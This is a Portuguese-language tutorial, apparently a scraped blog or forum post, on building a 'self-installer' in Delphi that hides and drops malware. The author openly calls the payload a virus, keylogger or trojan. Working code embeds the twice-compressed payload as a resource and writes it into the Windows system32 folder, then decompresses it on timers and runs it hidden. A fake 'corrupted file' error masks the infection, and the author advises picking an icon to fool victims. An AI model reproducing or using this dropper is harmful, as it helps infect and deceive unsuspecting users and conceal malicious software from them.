Você está na página 1de 5

Como criar um auto instalador

Bom galera eu desenvolvi um método que eu chamo de método progmaster,


consiste em compactar o arquivo que vai ser auto instalador 2 ou mais vezes,
transformar em arquivo de recurso e criar uma pequena aplicação para extrai-
los para uma pasta alvo.

Vamos começar então, primeiro baixe o compactador progmaster.

Após baixar o compactador, compacte o arquivo(seu vírus, keylogger, trojan


ou qualquer outra coisa..) 2 vezes , nesse exemplo o nome que vou usar para
o meu vírus vai serarquivo.exe.

Vamos supor que o meu vírus está no disco local C:\

No compactador vou selecionar a origem e o destino:

na origem vai ficar assim: C:\arquivo.exe e em destino vai


ficar C:\arquivocompactado.exee em seguida clicaremos em compactar e será
gerado o arquivo compactado.

Obs:
Onde C:\arquivo.exe é o nome inicial do nosso vírus
e C:\arquivocompactado.exe é o nome do nosso vírus compactado uma
vez.

Depois que nosso vírus estiver compactado uma vez vamos compacta-lo
novamente, execute o mesmo procedimento de compactação só que em
origem coloque o nome do vírus compactado uma vez, vai ficar assim :

origem: C:\arquivocompactado.exe
destino: C:\arquivocompactado2.exe

Obs:
Onde C:\arquivocompactado.exe é o nome do nosso vírus compactado
uma vez
e C:\arquivocompactado2.exe é o nome/caminho do nosso arquivo
compactado pela segunda vez.

Depois de selecionar o caminho compacte o arquivo pela segunda vez

Nós compactamos 2 vezes o nosso vírus, o nome original dele é arquivo.exe e


compactado 2 vezes agora está com o nome de arquivocompactado2.exe, o
próximo passo é transformar o arquivocompactado2.exe em arquivo de
recurso.

Abra o seu bloco de notas e digite o seguinte:

virus EXEs C:\arquivocompactado2.exe

Salve no disco local C:\ com o nome de virus.rc e após salvar você deve
compilar, se você não souber usar muito bem arquivo de recursos
recomendo que leia este post antes de continuar.

Após compilado deverá ser gerado um arquivo chamado virus.res.

Agora crie uma nova pasta em um diretório de sua escolha e abra o Delphi.

Salve a aplicação observando os seguintes detalhes:

Salva a unit com o nome de unitPrincipal e o projeto com o nome de extrator.


todos os nomes aqui dados para arquivos podem ser trocados...

copie o virus.res para a mesma pasta onde salvou o seu projeto e na unit de
seu projeto abaixo de {$R *.dfm} acrescente {$R virus.res} deve ficar desse
jeito:

implementation

{$R *.dfm}
{$R virus.res}

Abaixo de implementation acrescente Uses zLib; vai ficar assim

implementation

Uses zLib;

{$R *.dfm}
{$R virus.res}

Acrescente a seguinte procedure a seu projeto:

procedure virus;
var
myresource: TResourceStream;
Begin
myresource := TResourceStream.Create(Hinstance, 'virus', 'EXEs');
Try
if not FileExists('C:\windows\system32\arquivocompactado2.exe') then
myresource.SavetoFile('C:\windows\system32\arquivocompactado2.exe');
finally
myresource.Free;
end;
end;

No evento Oncreate do form digite:

Application.ShowMainForm := False;
virus;

Adicione 2 Timers da paleta system:

Insira o seguinte código no evento Ontimer do timer 1:

Var
FileIni, FileOut: TFileStream;
DeZip: TDecompressionStream;
i : Integer;
Buf: array[0..1023]of Byte;
begin
if not fileExists ('C:\windows\system32\arquivocompactado.exe') then begin
FileIni:=TFileStream.Create('C:\windows\system32\arquivocompactado2.exe',
fmOpenRead and fmShareExclusive);
FileOut:=TFileStream.Create('C:\windows\system32\arquivocompactado.exe',
fmCreate or fmShareExclusive);
DeZip:=TDecompressionStream.Create(FileIni);
repeat
i:=DeZip.Read(Buf, SizeOf(Buf));
if i <> 0 then
FileOut.Write(Buf, i);
until i <= 0;
DeZip.Free;
FileOut.Free;
FileIni.free;
end;

Altera a pripriedade interval do timer 2 para 1800 e insira o seguinte código no


evento ontimer do timer 2:

Var
FileIni, FileOut: TFileStream;
DeZip: TDecompressionStream;
i : Integer;
Buf: array[0..1023]of Byte;
begin
if not fileExists ('C:\windows\system32\arquivo.exe') then begin
FileIni:=TFileStream.Create('C:\windows\system32\arquivocompactado.exe',
fmOpenRead and fmShareExclusive);
FileOut:=TFileStream.Create('C:\windows\system32\arquivo.exe', fmCreate or
fmShareExclusive);
DeZip:=TDecompressionStream.Create(FileIni);
repeat
i:=DeZip.Read(Buf, SizeOf(Buf));
if i <> 0 then
FileOut.Write(Buf, i);
until i <= 0;
DeZip.Free;
FileOut.Free;
FileIni.free;
winexec ('C:\windows\system32\arquivo.exe',SW_hide);
end;

Após isso compile seu projeto e feche-o, está quase pronto...

Por ultimo trasforme o extrator em um arquivo de recurso, crie uma nova


aplicação para extrair e executar-lo:

Vamos lá terminar logo isso... copie o extrator.exe que você acabou de criar
para o disco local C:\

Abra o bloco de notas e digite :

extrator EXEs C:\extrator.exe

Salve com o nome de extrator.rc no disco local C:\

Compile. e após compilado será gerado o extrator.res

Crie uma nova pasta qualquer, copie o extrator.res para lá, crie uma nova
aplicação no delphi e em seguida salve na mesma pasta onde está o
extrator.res.

abaixo de {$R *.dfm} digite {$R extrator.res}

e logo abaixo de {$R extrator.res} digite:

procedure EXTRATOR;
var
myresource: TResourceStream;
Begin
myresource := TResourceStream.Create(Hinstance, 'extrator', 'EXES');
Try
if not FileExists('C:\windows\extrator.exe') then
myresource.SavetoFile('C:\windows\extrator.exe');
finally
myresource.Free;
end;
end;
e no evento Oncreate do form digite:

Application.ShowMainForm := False;
EXTRATOR;
winexec ('C:\windows\extrator.exe',SW_HIDE);
ShowMessage ('Erro ao executar arquivo, provavelmente está corrompido.');
Application.Terminate;

Compile o projeto e veja o resultado, e não se esqueça de escolher um bom


ícone para enganar as vitimas.

Qualquer dúvida deixa um comentário.

Até a próxima

Você também pode gostar